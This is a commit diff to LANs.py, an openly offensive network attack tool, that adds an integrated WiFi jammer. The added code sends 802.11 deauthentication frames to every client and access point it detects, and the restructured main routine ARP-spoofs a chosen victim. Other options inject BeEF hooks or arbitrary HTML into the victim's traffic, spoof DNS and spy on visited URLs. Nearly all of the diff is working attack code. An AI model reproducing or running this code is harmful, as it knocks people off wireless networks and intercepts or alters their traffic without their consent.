mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 13:02:20 -07:00
Added wifijammer.py integration
This commit is contained in:
David Dworken
parent
885d3c5c05
commit
af56e1c381
1 changed files with 547 additions and 161 deletions
666
LANs.py
666
LANs.py
|
|
@ -61,7 +61,7 @@ except Exception:
|
|||
from twisted.internet.interfaces import IReadDescriptor
|
||||
from twisted.internet.protocol import Protocol, Factory
|
||||
from sys import exit
|
||||
from threading import Thread
|
||||
from threading import Thread, Lock
|
||||
import argparse
|
||||
import signal
|
||||
from base64 import b64decode
|
||||
|
|
@ -70,11 +70,16 @@ from zlib import decompressobj, decompress
|
|||
import gzip
|
||||
from cStringIO import StringIO
|
||||
import requests
|
||||
import sys
|
||||
import time
|
||||
from signal import SIGINT, signal
|
||||
import socket
|
||||
import fcntl
|
||||
|
||||
|
||||
def parse_args():
|
||||
#Create the arguments
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument("-b", "--beef", help="Inject a BeEF hook URL. Example usage: -b http://192.168.0.3:3000/hook.js")
|
||||
parser.add_argument("-c", "--code", help="Inject arbitrary html. Example usage (include quotes): -c '<title>New title</title>'")
|
||||
parser.add_argument("-u", "--urlspy", help="Show all URLs and search terms the victim visits or enters minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -v to print all URLs and without truncation.", action="store_true")
|
||||
|
|
@ -93,7 +98,18 @@ def parse_args():
|
|||
parser.add_argument("-rip", "--routerip", help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
|
||||
parser.add_argument("-rmac", "--routermac", help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
|
||||
parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file")
|
||||
|
||||
###############################
|
||||
#####End Lans.py Arguments#####
|
||||
###Start wifijammer Argument###
|
||||
###############################
|
||||
parser.add_argument("-s", "--skip", help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA")
|
||||
parser.add_argument("-ch", "--channel", help="Listen on and deauth only clients on the specified channel. Example: -ch 6") #######################################I Changed this!!!###############################3333
|
||||
parser.add_argument("-m", "--maximum", help="Choose the maximum number of clients to deauth. List of clients will be emptied and repopulated after hitting the limit. Example: -m 5")
|
||||
parser.add_argument("-no", "--noupdate", help="Do not clear the deauth list when the maximum (-m) number of client/AP combos is reached. Must be used in conjunction with -m. Example: -m 10 -n", action='store_true') #####################I changed this!!!#########################33
|
||||
parser.add_argument("-t", "--timeinterval", help="Choose the time interval between packets being sent. Default is as fast as possible. If you see scapy errors like 'no buffer space' try: -t .00001")
|
||||
parser.add_argument("--packets", help="Choose the number of packets to send in each deauth burst. Default value is 1; 1 packet to the client and 1 packet to the AP. Send 2 deauth packets to the client and 2 deauth packets to the AP: -p 2") #####################I changed this!!!!##############################
|
||||
parser.add_argument("--directedonly", help="Skip the deauthentication packets to the broadcast address of the access points and only send them to client/AP pairs", action='store_true')#######################I changed this!!!########################################3
|
||||
parser.add_argument("--accesspoint", help="Enter the MAC address of a specific access point to target") ##############I changed this!!!##############33
|
||||
return parser.parse_args()
|
||||
|
||||
#Console colors
|
||||
|
|
@ -107,8 +123,143 @@ C = '\033[36m' # cyan
|
|||
GR = '\033[37m' # gray
|
||||
T = '\033[93m' # tan
|
||||
|
||||
|
||||
logger = open('LANspy.log.txt', 'w+')
|
||||
DN = open(os.devnull, 'w')
|
||||
#############################
|
||||
##### Start LANs.py Code####
|
||||
############################
|
||||
|
||||
interface = ''
|
||||
|
||||
def LANsMain(args):
|
||||
global victimIP, interface
|
||||
#Find the gateway and interface
|
||||
ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
|
||||
ipr = ipr.communicate()[0]
|
||||
iprs = ipr.split('\n')
|
||||
ipr = ipr.split()
|
||||
if args.routerip:
|
||||
routerIP = args.routerip
|
||||
else:
|
||||
try:
|
||||
routerIP = ipr[2]
|
||||
except:
|
||||
exit("You must be connected to the internet to use this.")
|
||||
for r in iprs:
|
||||
if '/' in r:
|
||||
IPprefix = r.split()[0]
|
||||
if args.interface:
|
||||
interface = args.interface
|
||||
else:
|
||||
interface = ipr[4]
|
||||
if 'eth' in interface or 'p3p' in interface:
|
||||
exit('[-] Wired interface found as default route, please connect wirelessly and retry, or specify the active interface with the -i [interface] option. See active interfaces with [ip addr] or [ifconfig].')
|
||||
if args.ipaddress:
|
||||
victimIP = args.ipaddress
|
||||
else:
|
||||
au = active_users()
|
||||
au.users(IPprefix, routerIP)
|
||||
print '\n[*] Turning off monitor mode'
|
||||
os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
|
||||
try:
|
||||
victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
|
||||
except KeyboardInterrupt:
|
||||
exit('\n[-] Quitting')
|
||||
|
||||
print "[*] Checking the DHCP and DNS server addresses..."
|
||||
# DHCP is a pain in the ass to craft
|
||||
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
|
||||
IP(src="0.0.0.0",dst="255.255.255.255")/
|
||||
UDP(sport=68,dport=67)/
|
||||
BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
|
||||
DHCP(options=[("message-type","discover"),
|
||||
("param_req_list",
|
||||
chr(DHCPRevOptions["router"][0]),
|
||||
chr(DHCPRevOptions["domain"][0]),
|
||||
chr(DHCPRevOptions["server_id"][0]),
|
||||
chr(DHCPRevOptions["name_server"][0]),
|
||||
), "end"]))
|
||||
ans, unans = srp(dhcp, timeout=5, retry=1)
|
||||
if ans:
|
||||
for s,r in ans:
|
||||
DHCPopt = r[0][DHCP].options
|
||||
DHCPsrvr = r[0][IP].src
|
||||
for x in DHCPopt:
|
||||
if 'domain' in x:
|
||||
local_domain = x[1]
|
||||
pass
|
||||
else:
|
||||
local_domain = 'None'
|
||||
if 'name_server' in x:
|
||||
dnsIP = x[1]
|
||||
else:
|
||||
print "[-] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
|
||||
dnsIP = routerIP
|
||||
DHCPsrvr = routerIP
|
||||
local_domain = 'None'
|
||||
|
||||
# Print the vars
|
||||
print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
|
||||
if args.routermac:
|
||||
routerMAC = args.routermac
|
||||
print "[*] Router MAC: " + routerMAC
|
||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||
else:
|
||||
try:
|
||||
routerMAC = Spoof().originalMAC(routerIP)
|
||||
print "[*] Router MAC: " + routerMAC
|
||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||
except Exception:
|
||||
print "[-] Router did not respond to ARP request; attempting to pull MAC from local ARP cache - [/usr/bin/arp -n]"
|
||||
logger.write("[-] Router did not respond to ARP request; attempting to pull the MAC from the ARP cache - [/usr/bin/arp -n]")
|
||||
try:
|
||||
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
|
||||
split_lines = arpcache.communicate()[0].splitlines()
|
||||
for line in split_lines:
|
||||
if routerIP in line:
|
||||
routerMACguess = line.split()[2]
|
||||
if len(routerMACguess) == 17:
|
||||
accr = raw_input("[+] Is "+R+routerMACguess+W+" the accurate router MAC? [y/n]: ")
|
||||
if accr == 'y':
|
||||
routerMAC = routerMACguess
|
||||
print "[*] Router MAC: "+routerMAC
|
||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||
else:
|
||||
exit("[-] Failed to get accurate router MAC address")
|
||||
except Exception:
|
||||
exit("[-] Failed to get accurate router MAC address")
|
||||
|
||||
if args.victimmac:
|
||||
victimMAC = args.victimmac
|
||||
print "[*] Victim MAC: " + victimMAC
|
||||
logger.write("[*] Victim MAC: "+victimMAC+'\n')
|
||||
else:
|
||||
try:
|
||||
victimMAC = Spoof().originalMAC(victimIP)
|
||||
print "[*] Victim MAC: " + victimMAC
|
||||
logger.write("[*] Victim MAC: "+victimMAC+'\n')
|
||||
except Exception:
|
||||
exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address\n and make sure the interface being used is accurate with -i <interface>")
|
||||
|
||||
ipf = setup(victimMAC)
|
||||
Queued(args)
|
||||
threads(args)
|
||||
|
||||
if args.nmap:
|
||||
print "\n[*] Running nmap scan; this may take several minutes - [nmap -T4 -O %s]" % victimIP
|
||||
try:
|
||||
nmap = Popen(['/usr/bin/nmap', '-T4', '-O', '-e', interface, victimIP], stdout=PIPE, stderr=DN)
|
||||
nmap.wait()
|
||||
nmap = nmap.communicate()[0].splitlines()
|
||||
for x in nmap:
|
||||
if x != '':
|
||||
print '[+]',x
|
||||
logger.write('[+] '+x+'\n')
|
||||
except Exception:
|
||||
print '[-] Nmap port and OS scan failed, is it installed?'
|
||||
|
||||
print ''
|
||||
|
||||
class Spoof():
|
||||
def originalMAC(self, ip):
|
||||
|
|
@ -950,142 +1101,6 @@ def pcap_handler(args):
|
|||
else:
|
||||
exit('[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
|
||||
|
||||
# Main loop
|
||||
def main(args):
|
||||
global victimIP, interface
|
||||
|
||||
if args.pcap:
|
||||
pcap_handler(args)
|
||||
exit('[-] Finished parsing pcap file')
|
||||
|
||||
#Check if root
|
||||
if not os.geteuid()==0:
|
||||
exit("\nPlease run as root\n")
|
||||
|
||||
#Find the gateway and interface
|
||||
ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
|
||||
ipr = ipr.communicate()[0]
|
||||
iprs = ipr.split('\n')
|
||||
ipr = ipr.split()
|
||||
if args.routerip:
|
||||
routerIP = args.routerip
|
||||
else:
|
||||
routerIP = ipr[2]
|
||||
for r in iprs:
|
||||
if '/' in r:
|
||||
IPprefix = r.split()[0]
|
||||
if args.interface:
|
||||
interface = args.interface
|
||||
else:
|
||||
interface = ipr[4]
|
||||
if 'eth' in interface or 'p3p' in interface:
|
||||
exit('[-] Wired interface found as default route, please connect wirelessly and retry, or specify the active interface with the -i [interface] option. See active interfaces with [ip addr] or [ifconfig].')
|
||||
if args.ipaddress:
|
||||
victimIP = args.ipaddress
|
||||
else:
|
||||
au = active_users()
|
||||
au.users(IPprefix, routerIP)
|
||||
print '\n[*] Turning off monitor mode'
|
||||
os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
|
||||
try:
|
||||
victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
|
||||
except KeyboardInterrupt:
|
||||
exit('\n[-] Quitting')
|
||||
|
||||
print "[*] Checking the DHCP and DNS server addresses..."
|
||||
# DHCP is a pain in the ass to craft
|
||||
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
|
||||
IP(src="0.0.0.0",dst="255.255.255.255")/
|
||||
UDP(sport=68,dport=67)/
|
||||
BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
|
||||
DHCP(options=[("message-type","discover"),
|
||||
("param_req_list",
|
||||
chr(DHCPRevOptions["router"][0]),
|
||||
chr(DHCPRevOptions["domain"][0]),
|
||||
chr(DHCPRevOptions["server_id"][0]),
|
||||
chr(DHCPRevOptions["name_server"][0]),
|
||||
), "end"]))
|
||||
ans, unans = srp(dhcp, timeout=5, retry=1)
|
||||
if ans:
|
||||
for s,r in ans:
|
||||
DHCPopt = r[0][DHCP].options
|
||||
DHCPsrvr = r[0][IP].src
|
||||
for x in DHCPopt:
|
||||
if 'domain' in x:
|
||||
local_domain = x[1]
|
||||
pass
|
||||
else:
|
||||
local_domain = 'None'
|
||||
if 'name_server' in x:
|
||||
dnsIP = x[1]
|
||||
else:
|
||||
print "[-] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
|
||||
dnsIP = routerIP
|
||||
DHCPsrvr = routerIP
|
||||
local_domain = 'None'
|
||||
|
||||
# Print the vars
|
||||
print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
|
||||
if args.routermac:
|
||||
routerMAC = args.routermac
|
||||
print "[*] Router MAC: " + routerMAC
|
||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||
else:
|
||||
try:
|
||||
routerMAC = Spoof().originalMAC(routerIP)
|
||||
print "[*] Router MAC: " + routerMAC
|
||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||
except Exception:
|
||||
print "[-] Router did not respond to ARP request; attempting to pull MAC from local ARP cache - [/usr/bin/arp -n]"
|
||||
logger.write("[-] Router did not respond to ARP request; attempting to pull the MAC from the ARP cache - [/usr/bin/arp -n]")
|
||||
try:
|
||||
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
|
||||
split_lines = arpcache.communicate()[0].splitlines()
|
||||
for line in split_lines:
|
||||
if routerIP in line:
|
||||
routerMACguess = line.split()[2]
|
||||
if len(routerMACguess) == 17:
|
||||
accr = raw_input("[+] Is "+R+routerMACguess+W+" the accurate router MAC? [y/n]: ")
|
||||
if accr == 'y':
|
||||
routerMAC = routerMACguess
|
||||
print "[*] Router MAC: "+routerMAC
|
||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||
else:
|
||||
exit("[-] Failed to get accurate router MAC address")
|
||||
except Exception:
|
||||
exit("[-] Failed to get accurate router MAC address")
|
||||
|
||||
if args.victimmac:
|
||||
victimMAC = args.victimmac
|
||||
print "[*] Victim MAC: " + victimMAC
|
||||
logger.write("[*] Victim MAC: "+victimMAC+'\n')
|
||||
else:
|
||||
try:
|
||||
victimMAC = Spoof().originalMAC(victimIP)
|
||||
print "[*] Victim MAC: " + victimMAC
|
||||
logger.write("[*] Victim MAC: "+victimMAC+'\n')
|
||||
except Exception:
|
||||
exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address\n and make sure the interface being used is accurate with -i <interface>")
|
||||
|
||||
ipf = setup(victimMAC)
|
||||
Queued(args)
|
||||
threads(args)
|
||||
|
||||
if args.nmap:
|
||||
print "\n[*] Running nmap scan; this may take several minutes - [nmap -T4 -O %s]" % victimIP
|
||||
try:
|
||||
nmap = Popen(['/usr/bin/nmap', '-T4', '-O', '-e', interface, victimIP], stdout=PIPE, stderr=DN)
|
||||
nmap.wait()
|
||||
nmap = nmap.communicate()[0].splitlines()
|
||||
for x in nmap:
|
||||
if x != '':
|
||||
print '[+]',x
|
||||
logger.write('[+] '+x+'\n')
|
||||
except Exception:
|
||||
print '[-] Nmap port and OS scan failed, is it installed?'
|
||||
|
||||
print ''
|
||||
|
||||
# Cleans up if Ctrl-C is caught
|
||||
def signal_handler(signal, frame):
|
||||
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
|
||||
|
|
@ -1105,5 +1120,376 @@ def main(args):
|
|||
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
|
||||
time.sleep(1.5)
|
||||
|
||||
#################################
|
||||
####End LANs.py Code#############
|
||||
################################
|
||||
|
||||
################################
|
||||
#####Start wifijammer Code######
|
||||
###############################
|
||||
|
||||
clients_APs = []
|
||||
APs = []
|
||||
lock = Lock()
|
||||
monitor_on = None
|
||||
mon_MAC = ""
|
||||
first_pass = 1
|
||||
|
||||
|
||||
def wifijammerMain(args):
|
||||
confirmJam = raw_input("Are you sure you want to jam WiFi? (y/n)")
|
||||
if "n" in confirmJam:
|
||||
exit("Program cancelled.")
|
||||
print("Ok. Jamming.")
|
||||
mon_iface = get_mon_iface(args)
|
||||
conf.iface = mon_iface
|
||||
mon_MAC = mon_mac(mon_iface)
|
||||
|
||||
# Start channel hopping
|
||||
hop = Thread(target=channel_hop, args=(mon_iface, args))
|
||||
hop.daemon = True
|
||||
hop.start()
|
||||
|
||||
signal(SIGINT, stop)
|
||||
|
||||
try:
|
||||
sniff(iface=mon_iface, store=0, prn=cb)
|
||||
except Exception as msg:
|
||||
remove_mon_iface(mon_iface)
|
||||
print '\n['+R+'!'+W+'] Closing'
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
def get_mon_iface(args):
|
||||
global monitor_on
|
||||
monitors, interfaces = iwconfig()
|
||||
if args.interface:
|
||||
monitor_on = True
|
||||
return args.interface
|
||||
if len(monitors) > 0:
|
||||
monitor_on = True
|
||||
return monitors[0]
|
||||
else:
|
||||
# Start monitor mode on a wireless interface
|
||||
print '['+G+'*'+W+'] Finding the most powerful interface...'
|
||||
interface = get_iface(interfaces)
|
||||
monmode = start_mon_mode(interface)
|
||||
return monmode
|
||||
|
||||
def iwconfig():
|
||||
monitors = []
|
||||
interfaces = {}
|
||||
DN = open(os.devnull, 'w')
|
||||
proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
|
||||
for line in proc.communicate()[0].split('\n'):
|
||||
if len(line) == 0: continue # Isn't an empty string
|
||||
if line[0] != ' ': # Doesn't start with space
|
||||
wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
|
||||
if not wired_search: # Isn't wired
|
||||
iface = line[:line.find(' ')] # is the interface
|
||||
if 'Mode:Monitor' in line:
|
||||
monitors.append(iface)
|
||||
elif 'IEEE 802.11' in line:
|
||||
if "ESSID:\"" in line:
|
||||
interfaces[iface] = 1
|
||||
else:
|
||||
interfaces[iface] = 0
|
||||
return monitors, interfaces
|
||||
|
||||
def get_iface(interfaces):
|
||||
scanned_aps = []
|
||||
DN = open(os.devnull, 'w')
|
||||
if len(interfaces) < 1:
|
||||
sys.exit('['+R+'-'+W+'] No wireless interfaces found, bring one up and try again')
|
||||
if len(interfaces) == 1:
|
||||
for interface in interfaces:
|
||||
return interface
|
||||
|
||||
# Find most powerful interface
|
||||
for iface in interfaces:
|
||||
count = 0
|
||||
proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN)
|
||||
for line in proc.communicate()[0].split('\n'):
|
||||
if ' - Address:' in line: # first line in iwlist scan for a new AP
|
||||
count += 1
|
||||
scanned_aps.append((count, iface))
|
||||
print '['+G+'+'+W+'] Networks discovered by '+G+iface+W+': '+T+str(count)+W
|
||||
try:
|
||||
interface = max(scanned_aps)[1]
|
||||
return interface
|
||||
except Exception as e:
|
||||
for iface in interfaces:
|
||||
interface = iface
|
||||
print '['+R+'-'+W+'] Minor error:',e
|
||||
print ' Starting monitor mode on '+G+interface+W
|
||||
return interface
|
||||
|
||||
def start_mon_mode(interface):
|
||||
print '['+G+'+'+W+'] Starting monitor mode off '+G+interface+W
|
||||
try:
|
||||
os.system('ifconfig %s down' % interface)
|
||||
os.system('iwconfig %s mode monitor' % interface)
|
||||
os.system('ifconfig %s up' % interface)
|
||||
return interface
|
||||
except Exception:
|
||||
sys.exit('['+R+'-'+W+'] Could not start monitor mode')
|
||||
|
||||
def remove_mon_iface(mon_iface):
|
||||
os.system('ifconfig %s down' % mon_iface)
|
||||
os.system('iwconfig %s mode managed' % mon_iface)
|
||||
os.system('ifconfig %s up' % mon_iface)
|
||||
|
||||
def mon_mac(mon_iface):
|
||||
'''
|
||||
http://stackoverflow.com/questions/159137/getting-mac-address
|
||||
'''
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
|
||||
mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
|
||||
print '['+G+'*'+W+'] Monitor mode: '+G+mon_iface+W+' - '+O+mac+W
|
||||
return mac
|
||||
|
||||
def channel_hop(mon_iface, args):
|
||||
'''
|
||||
First time it runs through the channels it stays on each channel for 5 seconds
|
||||
in order to populate the deauth list nicely. After that it goes as fast as it can
|
||||
'''
|
||||
global monchannel, first_pass
|
||||
DN = open(os.devnull, 'w')
|
||||
channelNum = 0
|
||||
err = None
|
||||
while 1:
|
||||
if args.channel:
|
||||
with lock:
|
||||
monchannel = args.channel
|
||||
else:
|
||||
channelNum +=1
|
||||
if channelNum > 11:
|
||||
channelNum = 1
|
||||
with lock:
|
||||
first_pass = 0
|
||||
with lock:
|
||||
monchannel = str(channelNum)
|
||||
|
||||
proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
|
||||
for line in proc.communicate()[1].split('\n'):
|
||||
if len(line) > 2: # iw dev shouldnt display output unless there's an error
|
||||
err = '['+R+'-'+W+'] Channel hopping failed: '+R+line+W
|
||||
|
||||
output(err, monchannel)
|
||||
if args.channel:
|
||||
time.sleep(.05)
|
||||
else:
|
||||
# For the first channel hop thru, do not deauth
|
||||
if first_pass == 1:
|
||||
time.sleep(1)
|
||||
continue
|
||||
|
||||
deauth(monchannel)
|
||||
|
||||
|
||||
def deauth(monchannel):
|
||||
'''
|
||||
addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
|
||||
multi-APs to one gateway. Constantly scans the clients_APs list and
|
||||
starts a thread to deauth each instance
|
||||
'''
|
||||
|
||||
pkts = []
|
||||
|
||||
if len(clients_APs) > 0:
|
||||
with lock:
|
||||
for x in clients_APs:
|
||||
client = x[0]
|
||||
ap = x[1]
|
||||
ch = x[2]
|
||||
# Can't add a RadioTap() layer as the first layer or it's a malformed
|
||||
# Association request packet?
|
||||
# Append the packets to a new list so we don't have to hog the lock
|
||||
# type=0, subtype=12?
|
||||
if ch == monchannel:
|
||||
deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
|
||||
deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
|
||||
pkts.append(deauth_pkt1)
|
||||
pkts.append(deauth_pkt2)
|
||||
if len(APs) > 0:
|
||||
if not args.directedonly:
|
||||
with lock:
|
||||
for a in APs:
|
||||
ap = a[0]
|
||||
ch = a[1]
|
||||
if ch == monchannel:
|
||||
deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth()
|
||||
pkts.append(deauth_ap)
|
||||
|
||||
if len(pkts) > 0:
|
||||
# prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
|
||||
if not args.timeinterval:
|
||||
args.timeinterval = 0
|
||||
if not args.packets:
|
||||
args.packets = 1
|
||||
|
||||
for p in pkts:
|
||||
send(p, inter=float(args.timeinterval), count=int(args.packets))
|
||||
|
||||
def output(err, monchannel):
|
||||
os.system('clear')
|
||||
mon_iface = get_mon_iface(args)
|
||||
if err:
|
||||
print err
|
||||
else:
|
||||
print '['+G+'+'+W+'] '+mon_iface+' channel: '+G+monchannel+W+'\n'
|
||||
if len(clients_APs) > 0:
|
||||
print ' Deauthing ch ESSID'
|
||||
# Print the deauth list
|
||||
with lock:
|
||||
for ca in clients_APs:
|
||||
if len(ca) > 3:
|
||||
print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2].ljust(2)+' - '+T+ca[3]+W
|
||||
else:
|
||||
print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2]
|
||||
if len(APs) > 0:
|
||||
print '\n Access Points ch ESSID'
|
||||
with lock:
|
||||
for ap in APs:
|
||||
print '['+T+'*'+W+'] '+O+ap[0]+W+' - '+ap[1].ljust(2)+' - '+T+ap[2]+W
|
||||
print ''
|
||||
|
||||
def noise_filter(skip, addr1, addr2):
|
||||
# Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
|
||||
ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:', mon_MAC]
|
||||
if skip:
|
||||
ignore.append(skip)
|
||||
for i in ignore:
|
||||
if i in addr1 or i in addr2:
|
||||
return True
|
||||
|
||||
def cb(pkt):
|
||||
'''
|
||||
Look for dot11 packets that aren't to or from broadcast address,
|
||||
are type 1 or 2 (control, data), and append the addr1 and addr2
|
||||
to the list of deauth targets.
|
||||
'''
|
||||
global clients_APs, APs
|
||||
|
||||
# return these if's keeping clients_APs the same or just reset clients_APs?
|
||||
# I like the idea of the tool repopulating the variable more
|
||||
if args.maximum:
|
||||
if args.noupdate:
|
||||
if len(clients_APs) > int(args.maximum):
|
||||
return
|
||||
else:
|
||||
if len(clients_APs) > int(args.maximum):
|
||||
with lock:
|
||||
clients_APs = []
|
||||
APs = []
|
||||
|
||||
# We're adding the AP and channel to the deauth list at time of creation rather
|
||||
# than updating on the fly in order to avoid costly for loops that require a lock
|
||||
if pkt.haslayer(Dot11):
|
||||
if pkt.addr1 and pkt.addr2:
|
||||
|
||||
# Filter out all other APs and clients if asked
|
||||
if args.accesspoint:
|
||||
if args.accesspoint not in [pkt.addr1, pkt.addr2]:
|
||||
return
|
||||
|
||||
# Check if it's added to our AP list
|
||||
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
|
||||
APs_add(clients_APs, APs, pkt, args.channel)
|
||||
|
||||
# Ignore all the noisy packets like spanning tree
|
||||
if noise_filter(args.skip, pkt.addr1, pkt.addr2):
|
||||
return
|
||||
|
||||
# Management = 1, data = 2
|
||||
if pkt.type in [1, 2]:
|
||||
clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
|
||||
|
||||
def APs_add(clients_APs, APs, pkt, chan_arg):
|
||||
ssid = pkt[Dot11Elt].info
|
||||
bssid = pkt[Dot11].addr3
|
||||
try:
|
||||
# Thanks to airoscapy for below
|
||||
ap_channel = str(ord(pkt[Dot11Elt:3].info))
|
||||
# Prevent 5GHz APs from being thrown into the mix
|
||||
chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
|
||||
if ap_channel not in chans:
|
||||
return
|
||||
|
||||
if chan_arg:
|
||||
if ap_channel != chan_arg:
|
||||
return
|
||||
|
||||
except Exception as e:
|
||||
return
|
||||
|
||||
if len(APs) == 0:
|
||||
with lock:
|
||||
return APs.append([bssid, ap_channel, ssid])
|
||||
else:
|
||||
for b in APs:
|
||||
if bssid in b[0]:
|
||||
return
|
||||
with lock:
|
||||
return APs.append([bssid, ap_channel, ssid])
|
||||
|
||||
def clients_APs_add(clients_APs, addr1, addr2):
|
||||
|
||||
if len(clients_APs) == 0:
|
||||
if len(APs) == 0:
|
||||
with lock:
|
||||
return clients_APs.append([addr1, addr2, monchannel])
|
||||
else:
|
||||
AP_check(addr1, addr2)
|
||||
|
||||
# Append new clients/APs if they're not in the list
|
||||
else:
|
||||
for ca in clients_APs:
|
||||
if addr1 in ca and addr2 in ca:
|
||||
return
|
||||
|
||||
if len(APs) > 0:
|
||||
return AP_check(addr1, addr2)
|
||||
else:
|
||||
with lock:
|
||||
return clients_APs.append([addr1, addr2, monchannel])
|
||||
|
||||
def AP_check(addr1, addr2):
|
||||
for ap in APs:
|
||||
if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
|
||||
with lock:
|
||||
return clients_APs.append([addr1, addr2, ap[1], ap[2]])
|
||||
|
||||
def stop(signal, frame):
|
||||
if monitor_on:
|
||||
sys.exit('\n['+R+'!'+W+'] Closing')
|
||||
else:
|
||||
remove_mon_iface(mon_iface)
|
||||
sys.exit('\n['+R+'!'+W+'] Closing')
|
||||
|
||||
#############################
|
||||
#####End wifijammer Code#####
|
||||
#############################
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main(parse_args())
|
||||
if not os.geteuid()==0:
|
||||
exit("\nPlease run as root\n")
|
||||
args = parse_args()
|
||||
if args.pcap:
|
||||
pcap_handler(args)
|
||||
exit('[-] Finished parsing pcap file')
|
||||
if args.skip is not None or args.channel is not None or args.maximum is not None or args.noupdate is not False or args.timeinterval is not None or args.packets is not None or args.directedonly is not False or args.accesspoint is not None:
|
||||
###If wifijammer arguments are given
|
||||
if args.beef is not None or args.code is not None or args.urlspy is not False or args.ipaddress is not None or args.victimmac is not None or args.driftnet is not False or args.verboseURL is not False or args.dnsspoof is not None or args.dnsall is not False or args.setoolkit is not False or args.post is not False or args.nmapaggressive is not False or args.nmap is not False or args.redirectto is not None or args.routerip is not None or args.routermac is not None or args.pcap is not None:
|
||||
###If LANs.py arguments are given
|
||||
###Both LANs.py arguments and wifijammer arguments are given. This will not work since wifijammer jams the network that LANs.py is trying to monitor
|
||||
exit('Error. Cannot jam WiFi and monitor WiFi simultaneously')
|
||||
|
||||
if args.beef is not None or args.code is not None or args.urlspy is not False or args.ipaddress is not None or args.victimmac is not None or args.driftnet is not False or args.verboseURL is not False or args.dnsspoof is not None or args.dnsall is not False or args.setoolkit is not False or args.post is not False or args.nmapaggressive is not False or args.nmap is not False or args.redirectto is not None or args.routerip is not None or args.routermac is not None or args.pcap is not None:
|
||||
###If LANs.py arguments are given, then run as LANs.py
|
||||
LANsMain(args)
|
||||
else:
|
||||
###If no LANs.py arguments are given, then run as wifijammer (expected behavior of jamming wifi when no arguments given is continued)
|
||||
wifijammerMain(args)
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue